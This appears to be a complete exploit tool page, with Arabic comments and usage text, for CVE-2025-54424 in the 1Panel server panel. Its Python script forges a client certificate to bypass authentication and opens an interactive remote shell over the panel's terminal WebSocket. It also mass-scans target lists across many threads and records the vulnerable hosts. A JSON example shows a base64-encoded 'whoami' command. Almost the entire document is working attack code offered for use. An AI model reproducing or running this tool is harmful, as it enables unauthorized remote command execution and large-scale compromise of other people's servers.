{
  "type": "ps",           // نوع البيانات: ps (عمليات)، ssh (جلسات SSH)، net (اتصالات الشبكة)، wget (تقدم التنزيل)
  "pid": 123,             // اختياري، تحديد معرف العملية للتصفية
  "name": "process_name", // اختياري، التصفية حسب اسم العملية
  "username": "user"      // اختياري، التصفية حسب اسم المستخدم
}

{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // ترميز base64 لـ "whoami"، تذكر إضافة إرجاع السطر (\n).
}

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel أداة متكاملة لثغرة تجاوز شهادة العميل مما يؤدي إلى RCE (مسح + استغلال)
المؤلف: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     هدف فردي، يدخل وضع الاستغلال. مثال: 192.168.1.100:8080
  -f FILE, --file FILE  ملف الأهداف، يدخل وضع الفحص الجماعي.
  -o OUTPUT, --output OUTPUT
                        [وضع الفحص] اسم ملف حفظ نتائج الثغرات.
  -t THREADS, --threads THREADS
                        [وضع الفحص] عدد الخيوط المتزامنة.
  --proxy PROXY         تعيين وكيل لجميع الطلبات. مثال: http://127.0.0.1:8080

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# تعطيل التحذيرات عند تعطيل SSL في طلبات requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- المتغيرات العامة وقفل الخيوط ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- الوظائف الأساسية ---

def generate_self_signed_cert():
    """توليد شهادة ومفتاح خاص بشكل ديناميكي بحيث يكون CN='panel_client'، وإرجاع مسار الملفات المؤقتة."""
    with print_lock:
        print("[*] جاري إنشاء شهادة عميل مزورة ديناميكياً...")
    try:
        private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"panel_client")])
        cert_builder = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(
            private_key.public_key()
        ).serial_number(x509.random_serial_number()).not_valid_before(
            datetime.datetime.utcnow()
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=365)
        )
        cert = cert_builder.sign(private_key, hashes.SHA256())
        
        key_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".key")
        key_file.write(private_key.private_bytes(
            encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption(),
        ))
        key_file.close()
        
        cert_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".crt")
        cert_file.write(cert.public_bytes(serialization.Encoding.PEM))
        cert_file.close()
        
        with print_lock:
            print(f"[+] تم إنشاء الشهادة: {cert_file.name}, {key_file.name}")
        return cert_file.name, key_file.name
    except Exception as e:
        with print_lock:
            print(f"[ERROR] حدث خطأ أثناء إنشاء الشهادة: {e}")
        return None, None

def check_target(target_host, cert_path, key_path, proxy_dict, proxy_opts):
    """تنفيذ عملية الفحص الكاملة المكونة من خطوتين لهدف واحد. إرجاع (target_host, bool, str)"""
    # الخطوة الأولى: الفحص المسبق عبر HTTP
    check_url = f"https://{target_host}/api/v2/dashboard/base/os"
    headers = {
        'User-Agent': '1panel_client',
        'Origin':f"https://{target_host}/",
        'Content-Type': 'application/json'
    }
    try:
        response = requests.get(
            check_url, cert=(cert_path, key_path), proxies=proxy_dict, verify=False, timeout=10, headers=headers
        )
        if response.status_code != 200:
            return target_host, False, f"فشل الفحص المسبق (HTTP {response.status_code})"
        with print_lock:
            print(f"[*] {target_host:<21} - الفحص المسبق ناجح (200 OK)")
    except requests.exceptions.RequestException as e:
        return target_host, False, f"فشل طلب الفحص ({type(e).__name__})"

    # الخطوة الثانية: محاولة اتصال WebSocket
    ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, timeout=10, **proxy_opts)
        ws.close()
        return target_host, True, "الثغرة موجودة (نجح الفحص المسبق واتصال WSS)"
    except Exception as e:
        return target_host, False, f"فشل اتصال WSS ({type(e).__name__})"

def receive_thread(ws):
    """خيط استقبال الصدفة التفاعلية."""
    global exploit_running
    while exploit_running:
        try:
            raw_message = ws.recv()
            if not raw_message: continue
            response_json = json.loads(raw_message)
            if isinstance(response_json, dict) and "data" in response_json and response_json["data"]:
                decoded_bytes = base64.b64decode(response_json["data"])
                output_str = decoded_bytes.decode('utf-8', errors='ignore')
                sys.stdout.write(output_str)
                sys.stdout.flush()
        except (websocket.WebSocketConnectionClosedException, ConnectionResetError):
            if exploit_running: print("\n[*] تم إغلاق الاتصال بشكل غير متوقع."); exploit_running = False
            break
        except Exception: pass

def run_exploit_mode(target, cert_path, key_path, proxy_opts):
    """تنفيذ استغلال الهدف الفردي."""
    global exploit_running
    print("[*] جاري محاولة الحصول على صدفة تفاعلية...")
    ws_url = f"wss://{target}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, **proxy_opts)
        print("[+] تم الحصول على الصدفة بنجاح!")
        print("[*] اكتب 'exit' أو اضغط Ctrl+C للخروج.")
        print("---")

        recv_th = threading.Thread(target=receive_thread, args=(ws,))
        recv_th.daemon = True
        recv_th.start()
        
        while exploit_running:
            try:
                cmd = input()
                if cmd.strip().lower() == 'exit': break
                b64_cmd = base64.b64encode((cmd + '\n').encode('utf-8')).decode('utf-8')
                ws.send(json.dumps({"type": "cmd", "data": b64_cmd}))
            except EOFError: break
        
        exploit_running = False
        ws.close()
    except KeyboardInterrupt:
        print("\n[*] مقاطعة المستخدم، جاري إغلاق الصدفة...")
    except Exception as e:
        print(f"\n[-] حدث خطأ أثناء الحصول على الصدفة: {e}")
    finally:
        exploit_running = False

def run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, threads, output_file):
    """تنفيذ الفحص الجماعي."""
    print(f"[*] بدء فحص {len(targets)} هدف باستخدام {threads} خيط...")
    with ThreadPoolExecutor(max_workers=threads) as executor:
        future_to_target = {executor.submit(check_target, t, cert_path, key_path, proxy_dict, proxy_opts): t for t in targets}
        for future in as_completed(future_to_target):
            target, is_vulnerable, message = future.result()
            with print_lock:
                if is_vulnerable:
                    print(f"[+] {target:<21} - {message}")
                    vulnerable_hosts.append(target)
                else:
                    print(f"[-] {target:<21} - {message}")
    
    if vulnerable_hosts:
        print(f"\n[*] اكتمل الفحص! تم العثور على {len(vulnerable_hosts)} هدفًا به ثغرات.")
        with open(output_file, 'w') as f:
            for host in vulnerable_hosts:
                f.write(host + '\n')
        print(f"[+] تم حفظ النتائج في الملف: {output_file}")
    else:
        print("\n[*] اكتمل الفحص، لم يتم العثور على أهداف بها ثغرات.")

def main():
    parser = argparse.ArgumentParser(description="1Panel أداة متكاملة لثغرة تجاوز شهادة العميل مما يؤدي إلى RCE (مسح + استغلال)\nالمؤلف: Mrxn https://github.com/Mr-xn", formatter_class=argparse.RawTextHelpFormatter)
    mode = parser.add_mutually_exclusive_group(required=True)
    mode.add_argument("-u", "--url", help="هدف فردي، يدخل وضع الاستغلال. مثال: 192.168.1.100:8080")
    mode.add_argument("-f", "--file", help="ملف الأهداف، يدخل وضع الفحص الجماعي.")
    
    parser.add_argument("-o", "--output", default="vulnerable_targets.txt", help="[وضع الفحص] اسم ملف حفظ نتائج الثغرات.")
    parser.add_argument("-t", "--threads", type=int, default=20, help="[وضع الفحص] عدد الخيوط المتزامنة.")
    parser.add_argument("--proxy", help="تعيين وكيل لجميع الطلبات. مثال: http://127.0.0.1:8080")
    args = parser.parse_args()

    cert_path, key_path = generate_self_signed_cert()
    if not cert_path: sys.exit(1)

    proxy_dict = {"http": args.proxy, "https": args.proxy} if args.proxy else {}
    proxy_opts = {}
    if args.proxy:
        print(f"[*] جميع الطلبات ستتم عبر الوكيل: {args.proxy}")
        p = urlparse(args.proxy)
        proxy_opts = {"proxy_type": p.scheme, "http_proxy_host": p.hostname, "http_proxy_port": p.port, "http_proxy_auth": (p.username, p.password) if p.username else None}

    try:
        if args.url:
            # --- وضع الاستغلال ---
            print(f"---[ الدخول في وضع استغلال النقطة الواحدة: {args.url} ]---")
            target, is_vulnerable, message = check_target(args.url, cert_path, key_path, proxy_dict, proxy_opts)
            if is_vulnerable:
                print(f"[+] الهدف {args.url} مؤكد وجود الثغرة!")
                run_exploit_mode(args.url, cert_path, key_path, proxy_opts)
            else:
                print(f"[-] الهدف {args.url} لا يحتوي على ثغرة أو لا يمكن الوصول إليه: {message}")
        
        elif args.file:
            # --- وضع الفحص ---
            print(f"---[ الدخول في وضع الفحص الجماعي: {args.file} ]---")
            if not os.path.exists(args.file):
                print(f"[ERROR] ملف الأهداف غير موجود: {args.file}"); return
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
            if not targets:
                print("[ERROR] ملف الأهداف فارغ."); return
            run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, args.threads, args.output)

    except KeyboardInterrupt:
        print("\n[*] مقاطعة المستخدم، جاري الخروج...")
    finally:
        if cert_path and os.path.exists(cert_path): os.remove(cert_path)
        if key_path and os.path.exists(key_path): os.remove(key_path)
        print("[*] تم تنظيف الشهادات المؤقتة، تم الخروج.")

if __name__ == "__main__":
    main()